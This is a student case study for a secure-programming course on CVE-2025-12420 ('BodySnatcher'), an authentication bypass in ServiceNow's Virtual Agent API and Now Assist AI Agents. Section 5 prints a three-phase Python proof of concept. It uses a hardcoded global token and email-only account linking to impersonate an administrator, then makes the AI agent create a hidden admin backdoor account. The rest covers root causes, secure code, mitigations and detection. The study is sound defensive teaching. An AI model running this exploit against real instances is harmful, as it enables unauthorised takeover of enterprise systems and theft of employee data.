CVE-2025-12420 — BodySnatcher: Agentic Compromise of ServiceNow 1

CVE-2025-12420 – BodySnatcher
Agentic Compromise of ServiceNow Virtual Agent & Now
Assist AI Agents

Author: Divyanshu Saini | Roll No.: 23FE10CSE00278 | Course: Secure

Programming
Institution: Manipal University Jaipur | Date: March 2026

Abstract

This case study examines CVE-2025-12420, codenamed BodySnatcher, a critical

(CVSS 4.0: 9.3/10) authentication-bypass and privilege-escalation vulnerability dis-
covered in October 2025 within ServiceNow’s Virtual Agent API (sn_va_as_service)
and Now Assist AI Agents (sn_aia). By chaining a platform-wide hardcoded static
bearer token with an email-only auto-linking identity mechanism, an unauthenti-
cated remote attacker can impersonate any user — including system administrators
— without supplying a password, bypassing Multi-Factor Authentication (MFA)
and Single Sign-On (SSO). The weaponisation of autonomous AI agents as the exe-
cution layer transforms a classical broken-authentication flaw into a full enterprise
takeover primitive. This paper analyses the technical architecture, step-by-step ex-
ploit chain, proof-of-concept demonstration, vulnerable versus secure code patterns,
organisational impact, mitigation strategies, and the broader secure-programming
principles applicable to agentic AI systems.

1. Introduction

Enterprise software platforms are increasingly embedding autonomous AI agents into

their core workflows. These agents — capable of interpreting natural language, invoking
APIs, and executing privileged operations without human confirmation — dramatically
expand both organisational productivity and the potential blast radius of authentication
failures.

ServiceNow is one of the world’s leading IT Service Management (ITSM) and enterprise
workflow platforms, deployed across thousands of organisations globally to manage
HR, customer service, IT operations, and security processes. Its Virtual Agent module
provides a conversational chatbot layer, while the newer Now Assist AI Agents layer
introduces Large Language Model (LLM)-powered autonomous agents capable of
executing complex, multi-step workflows.

Secure Programming Study – 2026

CVE-2025-12420 — BodySnatcher: Agentic Compromise of ServiceNow 2

In October 2025, Aaron Costello — Chief of SaaS Security Research at AppOmni

— discovered a critical vulnerability in the interplay between these two components.
Publicly disclosed on January 13, 2026, and assigned a CVSS 4.0 score of 9.3/10, the
flaw required no authentication, no user interaction, and no elevated privileges to exploit,
satisfying all conditions for a fully remote, zero-interaction enterprise compromise.

The vulnerability illustrates a defining challenge of the AI era: classical security failures
become catastrophically amplified when wired to autonomous execution engines. This
case study dissects BodySnatcher as a technical and architectural lesson for developers,
security engineers, and platform architects deploying agentic AI systems.

2. Technical Background

2.1 ServiceNow Platform Architecture

ServiceNow is a cloud-based Platform-as-a-Service (PaaS) product whose tenants are
accessed via instance-specific URLs ([instance].[Link]). The platform
exposes a rich REST API surface, supports extension through Glide scripting, scoped
applications, and integrates natively with external platforms including Microsoft Teams,
Slack, and Salesforce.

2.2 Virtual Agent API (sn_va_as_service)

The Virtual Agent API enables external messaging platforms to submit user messages
to ServiceNow’s Natural Language Understanding (NLU) engine and receive structured
responses. Its security model is built around two layers:

• Providers: Each integration channel is represented by a provider record holding a

client ID and a client secret. Incoming requests must present these credentials to
be accepted as originating from a trusted external source.
• Account Linking: Determines how an external user identity (e.g., a Teams User
Principal Name or email address) is mapped to a ServiceNow sys_user record,
which governs all downstream access-control decisions.

2.3 Now Assist AI Agents (sn_aia)

Introduced as part of ServiceNow’s generative AI portfolio, Now Assist AI Agents
are LLM-backed autonomous agents that accept natural-language instructions and
execute complex workflows — creating records, modifying configurations, invoking
sub-agents, and interacting with connected enterprise systems — entirely within the
privilege context of the authenticated session.

Secure Programming Study – 2026

CVE-2025-12420 — BodySnatcher: Agentic Compromise of ServiceNow 3

2.4 Intended Security Model

The intended security guarantee is: a valid provider credential proves the external
channel is trusted; account linking then establishes which user’s privilege set the session
inherits. BodySnatcher broke both checks simultaneously, rendering every dependent
access-control decision meaningless.

3. CVE-2025-12420 — “BodySnatcher”

3.1 Vulnerability Summary

Attribute Detail
CVE ID CVE-2025-12420
Codename BodySnatcher
CVSS 4.0 Score 9.3 / 10 (Critical)
CWE CWE-250 — Execution with Unnecessary Privi-
leges
Attack Vector Network — Unauthenticated, No User Interaction
Discovered By Aaron Costello, AppOmni (October 2025)
Public Disclosure January 13, 2026
Vendor Patch Deployed October 30, 2025 (hosted); January 2026 (on-
prem)
Affected: sn_aia ≤ 5.1.17 and ≤ 5.2.18
Affected: sn_va ≤ 3.15.1 and ≤ 4.0.3
Fixed: sn_aia 5.1.18+ and 5.2.19+
Fixed: sn_va 3.15.2+ and 4.0.4+

3.2 Root Causes

The vulnerability results from two independent security misconfigurations that are
trivially chainable by a remote attacker.
3.2.1 Root Cause 1 — Platform-Wide Hardcoded Static Secret
All ServiceNow instances worldwide shipped with an identical static bearer token —
servicenowexternalagent — hardcoded as the client secret within the Now Assist
AI Agent provider configuration. Because every global deployment shared this single
value, an attacker who discovered it (via source code review, traffic interception, or
community disclosure) could present it as a valid credential against any ServiceNow
tenant worldwide, without possessing any instance-specific knowledge.

Secure Programming Study – 2026

CVE-2025-12420 — BodySnatcher: Agentic Compromise of ServiceNow 4

3.2.2 Root Cause 2 — Email-Only Auto-Linking Without Secondary Verification

The account-linking mechanism for the AI Agent provider was set to Auto-Link, which
binds an incoming session to a ServiceNow sys_user record based solely on the email
address supplied in the request body. No password check, no MFA challenge, and no
SSO redirect was performed. An attacker who passed provider authentication could
supply any target user’s email address and immediately inherit that user’s complete
privilege set within ServiceNow.

4. Exploitation Workflow

4.1 Attack Flow Diagram

The figure below depicts the full BodySnatcher exploit chain from the perspective of
an unauthenticated remote attacker targeting a vulnerable ServiceNow instance.

Step 1 Step 2 Step 3 Step 4 Step 5 Step 6

Identify POST with Set userId Session bound NL command Privileged
target email hardcoded token = target email to admin to AI Agent workflow runs

Auth bypass Identity spoof AIA-Agent Backdoor

via static token via email Invoker AutoChat account created

Figure 1: BodySnatcher six-step exploit chain (unauthenticated remote attacker).

4.2 Step-by-Step Technical Description

Step 1 — Reconnaissance. The attacker identifies the email address of a target
privileged ServiceNow user (e.g., system administrator) through public corporate
directories, LinkedIn, or prior data-breach corpora. No access to the ServiceNow
instance is required.

Step 2 — Provider Authentication Bypass. An HTTP POST request is sent to

the Virtual Agent message endpoint with Bearer servicenowexternalagent as the
Authorization header. Because this token is identical across all global instances, the
provider authentication check passes without any instance-specific credential.

Step 3 — Identity Impersonation. With a valid provider session established, the

attacker sets the userId field in the JSON body to the target administrator’s email
address. The auto-linking logic queries sys_user for a matching record and binds the
session to that account with no secondary identity verification.

Step 4 — Privileged Session Acquisition. ServiceNow now treats all subsequent

requests in this session as originating from the impersonated administrator, inheriting
all roles, data scopes, and workflow permissions transparently.

Secure Programming Study – 2026

CVE-2025-12420 — BodySnatcher: Agentic Compromise of ServiceNow 5

Step 5 — Agentic Execution. Exploiting the internal AIA-Agent Invoker

AutoChat topic — which allows agents to run outside their declared deployment
scope — the attacker issues a natural-language instruction to the Now Assist AI Agent.
The agent, operating under the hijacked admin context, constructs and executes the
necessary API calls autonomously.

Step 6 — Persistence. A hidden administrator account is created, granting durable

access to the entire instance and all integrated downstream systems, surviving patch
deployment.

5. Proof-of-Concept Exploit

Ethical Disclaimer: The following proof-of-concept is provided solely for educa-

tional and defensive security research purposes. Executing this code against any
system without explicit written authorisation is illegal under the Computer Fraud
and Abuse Act (CFAA), UK Computer Misuse Act, and equivalent legislation.
The vulnerability was fully patched by ServiceNow in October 2025.

5.1 Phase 1 — Provider Authentication Bypass

The first phase confirms the hardcoded bearer token is accepted by any unpatched
instance as a valid provider credential, requiring no instance-specific knowledge.
1 # !/ usr / bin / env python3
2 """
3 CVE -2025 -12420 BodySnatcher - Phase 1: Provider Auth Bypass
4 Educational PoC - FOR AUTHORIZED TESTING ONLY
5 """
6 import requests , json
7

8 TARGET = " https :// TARGET . service - now . com "

9 ENDPOINT = " / api / sn_va_as_service / v1 / virtualagent / message "
10 # Root Cause 1: Identical hardcoded token across ALL global
instances
11 TOKEN = " s e r v i c e n o w e xt e r n a l a g e n t "
12

13 HEADERS = {
14 " Authorization " : f " Bearer { TOKEN } " ,
15 " Content - Type " : " application / json " ,
16 }
17

18 def check_auth ( instance : str ) -> bool :

19 """
20 Send a benign probe . HTTP 200/400 = token accepted ( auth
bypassed ) .
21 HTTP 401 = instance is patched .

Secure Programming Study – 2026

CVE-2025-12420 — BodySnatcher: Agentic Compromise of ServiceNow 6

22 """
23 probe = {
24 " requestId " : " recon - probe -001 " ,
25 " clientSessionId " : " test -0001 " ,
26 " userId " : " probe@example . com " ,
27 " message " : { " text " : " hello " } ,
28 }
29 r = requests . post ( instance + ENDPOINT , headers = HEADERS ,
30 data = json . dumps ( probe ) , timeout =15)
31 print ( f " [*] HTTP Status : { r . status_code } " )
32 if r . status_code == 401:
33 print ( " [ -] PATCHED : static token rejected . " )
34 return False
35 print ( " [+] VULNERABLE : static token accepted - auth bypassed ! "
)
36 return True
37

38 if __name__ == " __main__ " :

39 check_auth ( TARGET )

Listing 1: Phase 1: Bypassing provider authentication with the hardcoded static token.

5.2 Phase 2 — Identity Impersonation via Email Auto-Linking

After passing provider authentication, the attacker replaces userId with any target’s
email address. ServiceNow resolves it to a sys_user record and grants the full privilege
set of that account — without MFA, SSO, or password verification.
1 # !/ usr / bin / env python3
2 """
3 CVE -2025 -12420 BodySnatcher - Phase 2: Identity Impersonation
4 Educational PoC - FOR AUTHORIZED TESTING ONLY
5 """
6 import requests , json , uuid
7

8 TARGET = " https :// TARGET . service - now . com "

9 ENDPOINT = " / api / sn_va_as_service / v1 / virtualagent / message "
10 TOKEN = " servicenowexternalagent "
11 # Root Cause 2: Arbitrary email resolves to privileged account
12 TARGET_EMAIL = " admin@target - enterprise . com "
13

14 HEADERS = {
15 " Authorization " : f " Bearer { TOKEN } " ,
16 " Content - Type " : " application / json " ,
17 }
18

19 def i m p e r s o n a t e _ a n d _ i n v o k e ( email : str , command : str ) -> dict :

20 """
21 Bind session to target account via email auto - link , then send
a

Secure Programming Study – 2026

CVE-2025-12420 — BodySnatcher: Agentic Compromise of ServiceNow 7

22 natural - language command to the AI Agent through the internal

23 AIA - Agent Invoker AutoChat topic ( bypasses deployment scope ) .
24 """
25 sid = str ( uuid . uuid4 () )
26 payload = {
27 " requestId " : f " exploit -{ sid [:8]} " ,
28 " clientSessionId " : sid ,
29 " userId " : email , # attacker - controlled
identity claim
30 " message " : { " text " : command } ,
31 " topicId " : " AIA - Agent Invoker AutoChat " , # internal
unrestricted path
32 }
33 r = requests . post ( TARGET + ENDPOINT , headers = HEADERS ,
34 data = json . dumps ( payload ) , timeout =30)
35 print ( f " [*] Status : { r . status_code } | Session : { sid } " )
36 try :
37 return r . json ()
38 except Exception :
39 return { " raw " : r . text }
40

41 if __name__ == " __main__ " :

42 cmd = (
43 " Create a new user : username = svc_backup_ops , "
44 " email = s v c _ b a c k u p _o p s @ i n t e r n a l . local , "
45 " roles =[ ’ admin ’,’ security_admin ’]. "
46 )
47 result = i m p e r s o n a t e _ an d _ i n v o k e ( TARGET_EMAIL , cmd )
48 print ( json . dumps ( result , indent =2) )

Listing 2: Phase 2: Impersonating a privileged user via email-only auto-linking.

5.3 Phase 3 — Persistence Verification

After the AI agent executes the command, the attacker queries the ServiceNow Table
API to confirm the backdoor account was created. The new account inherits full
administrator privileges and persists independently of the session.
1 # !/ usr / bin / env python3
2 """
3 CVE -2025 -12420 BodySnatcher - Phase 3: Persistence Verification
4 Educational PoC - FOR AUTHORIZED TESTING ONLY
5 """
6 import requests
7

8 TARGET = " https :// TARGET . service - now . com "

9 TOKEN = " servicenowexternalagent "
10 BACKDOOR = " svc_backup_ops "
11 HEADERS = { " Authorization " : f " Bearer { TOKEN } " , " Accept " : "
application / json " }

Secure Programming Study – 2026

CVE-2025-12420 — BodySnatcher: Agentic Compromise of ServiceNow 8

12

13 def verify_backdoor () -> None :

14 url = ( f " { TARGET }/ api / now / table / sys_user "
15 f " ? sysparm_query = user_name ={ BACKDOOR } "
16 f " & sysparm_fields = user_name , email , roles , active "
17 f " & sysparm_limit =1 " )
18 r = requests . get ( url , headers = HEADERS , timeout =15)
19 data = r . json () . get ( " result " , [])
20 if data :
21 print ( f " [+] BACKDOOR CONFIRMED : { data [0]} " )
22 else :
23 print ( " [ -] Backdoor not found ( agent may not have executed
).")
24

25 if __name__ == " __main__ " :

26 verify_backdoor ()

Listing 3: Phase 3: Verifying backdoor account creation via Table API.

6. Vulnerable Implementation and Secure Fix

6.1 Vulnerable Auto-Link Script (Pseudocode)

1 // VULNERABLE : Auto - link based on email address alone .
2 // No MFA challenge , no SSO validation , no audit log .
3 function autoLinkUser ( externalUserId ) {
4 // externalUserId is fully attacker - controlled from the
request body
5 var userRecord = new GlideRecord ( ’ sys_user ’) ;
6 userRecord . addQuery ( ’ email ’ , externalUserId ) ;
7 userRecord . query () ;
8

9 if ( userRecord . next () ) {
10 // FLAW : Session bound to matched user with zero
verification
11 session . setUser ( userRecord . getValue ( ’ sys_id ’) ) ;
12 return true ;
13 }
14 return false ;
15 }

Listing 4: Vulnerable account-linking logic — email-only, no MFA, no audit.

6.2 Secure Implementation

1 // SECURE : Multi - factor verified account linking with full audit
trail .
2 function autoLinkUser ( externalUserId ) {

Secure Programming Study – 2026

CVE-2025-12420 — BodySnatcher: Agentic Compromise of ServiceNow 9

3 var userRecord = new GlideRecord ( ’ sys_user ’) ;

4 userRecord . addQuery ( ’ email ’ , externalUserId ) ;
5 userRecord . addQuery ( ’ active ’ , true ) ;
6 userRecord . query () ;
7

8 if (! userRecord . next () ) {
9 gs . warn ( ’ AutoLink : User not found for ’ + externalUserId ) ;
10 return false ;
11 }
12

13 // FIX 1: Require MFA before binding identity

14 var mfa = MFAProvider . challenge ( userRecord . getValue ( ’ sys_id ’) )
;
15 if (! mfa . verified ) {
16 gs . warn ( ’ AutoLink : MFA failed for ’ + externalUserId ) ;
17 return false ;
18 }
19

20 // FIX 2: Validate provider against approved channel allowlist

21 var provider = session . getProviderName () ;
22 if (! ChannelAllowlist . contains ( provider ) ) {
23 gs . warn ( ’ AutoLink : Untrusted provider rejected : ’ +
provider ) ;
24 return false ;
25 }
26

27 // FIX 3: Write immutable audit record for every successful

link
28 AuditLog . write ({
29 event : ’ ACCOUNT_LINKED ’ ,
30 userId : userRecord . getValue ( ’ sys_id ’) ,
31 provider : provider ,
32 time : new GlideDateTime ()
33 }) ;
34

35 session . setUser ( userRecord . getValue ( ’ sys_id ’) ) ;

36 return true ;
37 }

Listing 5: Secure account-linking — MFA enforced, allowlist, audit log.

Secure Programming Study – 2026

CVE-2025-12420 — BodySnatcher: Agentic Compromise of ServiceNow 10

6.3 Secure vs. Vulnerable Comparison

Control Vulnerable State Secure State

Provider secret Global hardcoded static value Per-instance rotated unique se-
cret
Identity linking Email-only, no verification Email + mandatory MFA
(TOTP/FIDO2)
SSO enforcement Not required Short-lived IdP assertion re-
quired
Channel control No allowlist Approved provider allowlist
Audit logging None Immutable event log per link
Agent permissions Full user privilege context Scoped least-privilege tool set

7. Impact and Mitigation

7.1 Potential Business Impact

A successful BodySnatcher exploitation against an unpatched instance could produce:
1. Data exfiltration: Full read access to all ServiceNow records — employee PII,
payroll data, healthcare information, security incidents, and intellectual property
held within the platform.
2. Workflow manipulation: Unauthorised creation, modification, or deletion of
ITSM records, change requests, and access-control configurations.
3. Backdoor persistence: Hidden administrator accounts that survive patching,
enabling silent long-term access.
4. Lateral movement: ServiceNow integrations with Salesforce, Azure AD, and
on-premise infrastructure become pivot points for broader supply-chain compromise.
5. Regulatory exposure: Data breaches involving personal data may trigger GDPR
Article 33 notification obligations (72-hour window), HIPAA breach reporting, or
PCI-DSS penalties, in addition to reputational damage.

7.2 Mitigation Measures

7.2.1 Immediate — Apply Vendor Patches
• Upgrade sn_aia to version 5.1.18+ or 5.2.19+.
• Upgrade sn_va_as_service to version 3.15.2+ or 4.0.4+.
• Self-hosted customers: consult ServiceNow KB article KB2587329 for manual
remediation guidance.
7.2.2 Configuration Hardening
• Rotate provider secrets: Replace the default shared token with a cryptographi-
cally random, instance-unique value for every provider record.

Secure Programming Study – 2026

CVE-2025-12420 — BodySnatcher: Agentic Compromise of ServiceNow 11

• Enforce MFA for account linking: Configure auto-link type to require software
TOTP. Note that changing the UI field alone is insufficient; the custom auto-link
script must explicitly invoke the MFA challenge API.
• Restrict API exposure: Limit the Virtual Agent API to allowlisted source IP
ranges and avoid direct public internet exposure.
• Scope AI agent permissions: Audit and restrict each agent’s tool inventory to
the minimum required for its declared function.
7.2.3 Detection and Monitoring
• Alert on account-linking events with source IPs outside known corporate ranges or
geographies.
• Monitor for administrator account creation or role-assignment events executed via
agent workflows outside business hours.
• Integrate ServiceNow logs with a SIEM and create detection rules for sequential
email enumeration patterns or high-frequency API calls sharing identical client
session IDs.

8. Secure Programming Implications

BodySnatcher is not merely a ServiceNow-specific incident. It encodes a set of timeless

principles that every developer building authenticated, agentic, or integration-heavy
systems must internalise.

8.1 Never Use Static, Shared Secrets

Hardcoding a credential shared across all platform deployments violates the foundational
secret-management principles of uniqueness, isolation, and rotatability. Secrets must
be generated uniquely per deployment, stored in dedicated vaults (HashiCorp Vault,
AWS Secrets Manager, Azure Key Vault), and rotated on a defined schedule. No secret
whose exposure compromises more than one deployment should ever exist in production
software.

8.2 Defence-in-Depth for Identity Binding

A single-factor identity assertion — an email address — must never be sufficient to bind
a privileged session in a system that drives autonomous execution. Identity verification
at an AI agent integration boundary requires a minimum of two independent factors:
something the user has (TOTP, FIDO2 hardware key) and a short-lived, signed SSO
assertion from a trusted Identity Provider.

8.3 Principle of Least Privilege for AI Agents

Every function exposed to an AI agent must be treated as a high-privilege API endpoint.
The Agentic Blast Radius — the maximum damage a hijacked agent can inflict
before detection — must be minimised by scoping each agent’s tool permissions to

Secure Programming Study – 2026

CVE-2025-12420 — BodySnatcher: Agentic Compromise of ServiceNow 12

precisely what its declared function requires, and auditing this scope continuously as
the agent’s capabilities evolve.

8.4 Enumerate and Control All Agent Execution Paths

AI agents must not be invocable through undocumented internal paths. Topics such as
AIA-Agent Invoker AutoChat that allow agents to run outside declared deployment
constraints represent uncontrolled execution surfaces. Every invocation path must be
enumerated, access-controlled, and validated as part of the security design process.

8.5 Treat Every Integration Boundary as a Trust Boundary

When external platforms connect to an internal system via an API, the integration
point is a trust boundary. Every claim in a cross-boundary request — including the
asserted user identity — must be independently verified by the receiving system. A
trusted channel is not a trusted user.

8.6 Adopt AI-Specific Security Posture Management

Traditional AppSec practices are necessary but insufficient for agentic AI deployments.
Organisations should adopt AI Security Posture Management (AI-SPM) tooling capable
of continuously inventorying agent tool scopes, auditing provider credential rotation
status, verifying MFA enforcement on all account-linking mechanisms, and identifying
stale or orphaned agents for de-provisioning.

9. Conclusion

CVE-2025-12420, “BodySnatcher,” is one of the most consequential disclosures of the

agentic AI era. At its core it is a classical broken-authentication vulnerability: a
hardcoded static secret and an insufficiently verified identity claim. Its CVSS score of
9.3 reflects not the novelty of these individual flaws, but their catastrophic amplification
when the end effector is an autonomous AI agent with administrative privileges.
The BodySnatcher exploit chain crystallises three immutable truths for practitioners:
1. Old failures become new catastrophes. Authentication and secret-management
weaknesses that might have rated medium severity in a traditional web applica-
tion become critical when they grant unauthenticated control over a privileged
autonomous execution engine.
2. Integration surfaces are attack surfaces. Every API boundary between an
external platform and an internal AI agent is a potential compromise vector. Security
must be explicitly designed at every boundary, not assumed to be inherited from
adjacent controls.
3. Agentic autonomy demands agentic accountability. The same capability
that makes AI agents productive — taking consequential actions without human
confirmation — makes them high-value targets. Least-privilege scoping, multi-factor

Secure Programming Study – 2026

CVE-2025-12420 — BodySnatcher: Agentic Compromise of ServiceNow 13

identity binding, and immutable audit trails are not optional safety nets; they are
foundational requirements.
As enterprises accelerate agentic AI adoption, BodySnatcher should serve as a design-
phase checkpoint for every team combining external API integrations with autonomous
AI execution. The question is no longer whether these systems will be targeted, but
how quickly organisations can minimise the blast radius when they are.

References

[1] A. Costello, “BodySnatcher (CVE-2025-12420): A Broken Authentication

and Agentic Hijacking Vulnerability in ServiceNow,” AppOmni AO Labs,
Jan. 13, 2026. [Online]. Available: [Link]
bodysnatcher-agentic-ai-security-vulnerability-in-servicenow/
[2] National Institute of Standards and Technology, “NVD — CVE-2025-12420,”
National Vulnerability Database, 2026. [Online]. Available: [Link]
gov/vuln/detail/CVE-2025-12420
[3] ServiceNow, “Security Advisory KB2587329,” ServiceNow Knowledge Base,
Oct. 2025. [Online]. Available: [Link]
article_view&sysparm_article=KB2587329
[4] A. Pignati, “BodySnatcher: How a Hardcoded Secret Led to Full
ServiceNow Takeover (CVE-2025-12420),” DEV Community, Jan. 21,
2026. [Online]. Available: [Link]
bodysnatcher-how-a-hardcoded-secret-led-to-full-servicenow-takeover-cve-2025-124
[5] Ampcus Cyber, “CVE-2025-12420: Broken Authentication and Privileged
Workflow Execution in ServiceNow,” Shadow Ops Intel, Feb. 10, 2026.
[Online]. Available: [Link]
cve-2025-12420-broken-authentication-and-privileged-workflow-execution-in-servic
[6] MITRE Corporation, “CWE-250: Execution with Unnecessary Privileges,” Com-
mon Weakness Enumeration, 2024. [Online]. Available: [Link]
data/definitions/[Link]
[7] OWASP Foundation, “OWASP Top 10 for Large Language Model Ap-
plications,” OWASP, 2025. [Online]. Available: [Link]
www-project-top-10-for-large-language-model-applications/

Secure Programming Study – 2026